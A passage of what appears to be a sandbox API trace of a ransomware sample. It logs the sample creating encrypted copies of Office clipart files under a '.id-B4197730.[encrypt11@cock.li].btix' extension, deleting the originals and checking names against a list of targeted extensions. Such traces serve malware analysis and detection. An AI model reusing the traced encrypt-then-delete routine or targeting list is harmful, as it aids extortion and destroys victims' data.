lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x6510, lpOverlapped=0x0) returned 1 [0156.867] ReadFile (in: hFile=0x374, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.868] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.868] SetEndOfFile (hFile=0x33c) returned 1 [0156.868] CloseHandle (hObject=0x33c) returned 1 [0156.868] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.868] SetEndOfFile (hFile=0x374) returned 1 [0156.869] CloseHandle (hObject=0x374) returned 1 [0156.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 1 [0156.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0156.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0156.872] lstrlenW (lpString=".doc") returned 4 [0156.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.872] lstrlenW (lpString=".docx") returned 5 [0156.872] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.872] lstrlenW (lpString=".pdf") returned 4 [0156.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.872] lstrlenW (lpString=".xls") returned 4 [0156.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.872] lstrlenW (lpString=".xlsx") returned 5 [0156.872] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.872] lstrlenW (lpString=".ppt") returned 4 [0156.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0156.872] lstrlenW (lpString=".zip") returned 4 [0156.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.872] lstrlenW (lpString=".rar") returned 4 [0156.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.872] lstrlenW (lpString=".bz2") returned 4 [0156.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.873] lstrlenW (lpString=".7z") returned 3 [0156.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0156.873] lstrlenW (lpString=".dbf") returned 4 [0156.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0156.873] lstrlenW (lpString=".1cd") returned 4 [0156.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0156.873] lstrlenW (lpString=".jpg") returned 4 [0156.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.878] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.878] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.889] GetLastError () returned 0x0 [0156.889] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x8b8e, lpOverlapped=0x0) returned 1 [0156.906] WriteFile (in: hFile=0x364, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x8b90, lpOverlapped=0x0) returned 1 [0156.907] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.907] WriteFile (in: hFile=0x364, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.907] SetEndOfFile (hFile=0x364) returned 1 [0156.907] CloseHandle (hObject=0x364) returned 1 [0156.908] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.908] SetEndOfFile (hFile=0x37c) returned 1 [0156.909] CloseHandle (hObject=0x37c) returned 1 [0156.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 1 [0156.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0156.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0156.920] lstrlenW (lpString=".doc") returned 4 [0156.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.920] lstrlenW (lpString=".docx") returned 5 [0156.920] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.920] lstrlenW (lpString=".pdf") returned 4 [0156.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.920] lstrlenW (lpString=".xls") returned 4 [0156.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.920] lstrlenW (lpString=".xlsx") returned 5 [0156.920] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.920] lstrlenW (lpString=".ppt") returned 4 [0156.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0156.920] lstrlenW (lpString=".zip") returned 4 [0156.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.920] lstrlenW (lpString=".rar") returned 4 [0156.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.920] lstrlenW (lpString=".bz2") returned 4 [0156.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.920] lstrlenW (lpString=".7z") returned 3 [0156.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0156.920] lstrlenW (lpString=".dbf") returned 4 [0156.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0156.921] lstrlenW (lpString=".1cd") returned 4 [0156.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68 [0156.921] lstrlenW (lpString=".jpg") returned 4 [0156.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.926] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.926] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.932] GetLastError () returned 0x0 [0156.932] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x37e4, lpOverlapped=0x0) returned 1 [0157.004] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x37f0, lpOverlapped=0x0) returned 1 [0157.005] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.005] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.005] SetEndOfFile (hFile=0x36c) returned 1 [0157.005] CloseHandle (hObject=0x36c) returned 1 [0157.005] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.005] SetEndOfFile (hFile=0x358) returned 1 [0157.006] CloseHandle (hObject=0x358) returned 1 [0157.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0157.007] lstrlenW (lpString=".doc") returned 4 [0157.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString=".docx") returned 5 [0157.007] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.007] lstrlenW (lpString=".pdf") returned 4 [0157.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString=".xls") returned 4 [0157.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.007] lstrlenW (lpString=".xlsx") returned 5 [0157.007] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.007] lstrlenW (lpString=".ppt") returned 4 [0157.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0157.007] lstrlenW (lpString=".zip") returned 4 [0157.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.007] lstrlenW (lpString=".rar") returned 4 [0157.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString=".bz2") returned 4 [0157.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString=".7z") returned 3 [0157.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0157.007] lstrlenW (lpString=".dbf") returned 4 [0157.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0157.007] lstrlenW (lpString=".1cd") returned 4 [0157.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0157.008] lstrlenW (lpString=".jpg") returned 4 [0157.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.008] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.008] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.009] GetLastError () returned 0x0 [0157.009] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2870, lpOverlapped=0x0) returned 1 [0157.021] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2880, lpOverlapped=0x0) returned 1 [0157.022] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.022] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.022] SetEndOfFile (hFile=0x36c) returned 1 [0157.022] CloseHandle (hObject=0x36c) returned 1 [0157.022] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.022] SetEndOfFile (hFile=0x358) returned 1 [0157.023] CloseHandle (hObject=0x358) returned 1 [0157.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0157.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0157.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0157.024] lstrlenW (lpString=".doc") returned 4 [0157.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.024] lstrlenW (lpString=".docx") returned 5 [0157.024] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.024] lstrlenW (lpString=".pdf") returned 4 [0157.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.024] lstrlenW (lpString=".xls") returned 4 [0157.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.024] lstrlenW (lpString=".xlsx") returned 5 [0157.024] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.024] lstrlenW (lpString=".ppt") returned 4 [0157.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0157.024] lstrlenW (lpString=".zip") returned 4 [0157.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.024] lstrlenW (lpString=".rar") returned 4 [0157.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.024] lstrlenW (lpString=".bz2") returned 4 [0157.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.024] lstrlenW (lpString=".7z") returned 3 [0157.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0157.025] lstrlenW (lpString=".dbf") returned 4 [0157.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0157.025] lstrlenW (lpString=".1cd") returned 4 [0157.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0157.025] lstrlenW (lpString=".jpg") returned 4 [0157.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.025] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.025] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.026] GetLastError () returned 0x0 [0157.026] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2480, lpOverlapped=0x0) returned 1 [0157.035] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2490, lpOverlapped=0x0) returned 1 [0157.036] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.036] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.036] SetEndOfFile (hFile=0x36c) returned 1 [0157.039] CloseHandle (hObject=0x36c) returned 1 [0157.039] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.039] SetEndOfFile (hFile=0x358) returned 1 [0157.043] CloseHandle (hObject=0x358) returned 1 [0157.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0157.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0157.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0157.043] lstrlenW (lpString=".doc") returned 4 [0157.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.043] lstrlenW (lpString=".docx") returned 5 [0157.044] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0157.044] lstrlenW (lpString=".pdf") returned 4 [0157.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.044] lstrlenW (lpString=".xls") returned 4 [0157.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.044] lstrlenW (lpString=".xlsx") returned 5 [0157.044] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0157.044] lstrlenW (lpString=".ppt") returned 4 [0157.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0157.044] lstrlenW (lpString=".zip") returned 4 [0157.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.044] lstrlenW (lpString=".rar") returned 4 [0157.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.044] lstrlenW (lpString=".bz2") returned 4 [0157.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.044] lstrlenW (lpString=".7z") returned 3 [0157.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0157.044] lstrlenW (lpString=".dbf") returned 4 [0157.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0157.044] lstrlenW (lpString=".1cd") returned 4 [0157.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0157.044] lstrlenW (lpString=".jpg") returned 4 [0157.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.048] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.048] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.049] GetLastError () returned 0x0 [0157.049] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1bcc, lpOverlapped=0x0) returned 1 [0157.057] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1bd0, lpOverlapped=0x0) returned 1 [0157.058] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.058] WriteFile (in: hFile=0x37c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.058] SetEndOfFile (hFile=0x37c) returned 1 [0157.058] CloseHandle (hObject=0x37c) returned 1 [0157.058] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.058] SetEndOfFile (hFile=0x358) returned 1 [0157.059] CloseHandle (hObject=0x358) returned 1 [0157.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0157.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0157.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0157.060] lstrlenW (lpString=".doc") returned 4 [0157.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.060] lstrlenW (lpString=".docx") returned 5 [0157.060] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0157.060] lstrlenW (lpString=".pdf") returned 4 [0157.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.060] lstrlenW (lpString=".xls") returned 4 [0157.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.060] lstrlenW (lpString=".xlsx") returned 5 [0157.060] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0157.060] lstrlenW 